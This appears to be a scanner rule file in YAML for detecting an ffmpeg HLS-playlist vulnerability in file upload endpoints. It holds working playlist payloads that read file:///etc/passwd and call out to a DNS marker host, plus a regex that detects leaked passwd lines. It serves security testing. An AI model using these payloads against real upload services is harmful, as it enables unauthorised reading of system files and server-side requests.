ffmpeg-uploads.yaml

collect:
  - uniq:
    - [ URI ]
match:
  - POST_MULTIPART_.*_FILE: '.*'
generate:
  - payload:
    - !!str |
      #EXTM3U
      #EXT-X-MEDIA-SEQUENCE:0
      #EXTINF:10.0,
      file:///etc/passwd
      #EXT-X-ENDLIST
    - !!str |
      #EXTM3U
      #EXT-X-MEDIA-SEQUENCE:0
      #EXTINF:10.0,
      http://DNS_MARKER
      #EXT-X-ENDLIST
  - method:
    - replace
  - into: 'POST_MULTIPART_.*_FILE'
detect:
  - response:
    - body: '[a-z]*:[^:]*:[0-9]*:[0-9]*:[^:]*:\/[^:]*:\/[^:]*'
  - oob:
    - dns
meta-info:
  - type: rce
  - threat: 95
  - tags:
    - OS Commanding
    - FFMPEG
    - Arbitraty File Reading
    - OWASP Top 10
    - OWASP